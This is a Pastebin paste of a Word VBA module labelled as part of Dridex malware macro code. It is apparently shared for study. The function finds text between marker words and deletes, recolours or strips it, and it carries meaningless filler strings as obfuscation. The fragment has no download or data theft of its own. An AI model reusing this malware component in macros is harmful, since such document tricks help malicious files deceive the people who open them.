Advertisement
Guest User

Dridex Module2 Macro Code

a guest
Apr 8th, 2015
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Module2"
  2. Public Function Seg(a As String, b As String, c As Integer)
  3. Dim selectedText As String
  4. Dim hhhg, selRange As Range
  5. Set hhhg = ActiveDocument.Range
  6. With hhhg.Find
  7. .Text = a
  8. .MatchWholeWord = True
  9. hhhg.Find.Execute
  10. hhhg.Collapse direction:=wdCollapseEnd
  11. JUEWEUIFFH = "uhw k2jh4j3k gkjgh23 kg23 jh23g423hjfg 3gh2fe3"
  12. Set selRange = ActiveDocument.Range
  13. YQWGUDJADG = "kh2 3ke3j32 gh2hgd32hdg"
  14. selRange.Start = hhhg.End
  15. .Text = b
  16. .MatchWholeWord = True
  17. .Execute
  18. hhhg.Collapse direction:=wdCollapseStart
  19. selRange.End = hhhg.Start
  20. If (c = 1) Then
  21.     selectedText = selRange.Delete
  22. End If
  23. If (c = 2) Then
  24.     selRange.Font.Color = wdColorBlack
  25. End If
  26. If (c = 3) Then
  27.     With hhhg.Find
  28.     .Text = a
  29.     .Replacement.Text = ""
  30.     .Wrap = wdFindContinue
  31.     .Execute Replace:=wdReplaceAll
  32.     End With
  33. End If
  34.  
  35. End With
  36. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement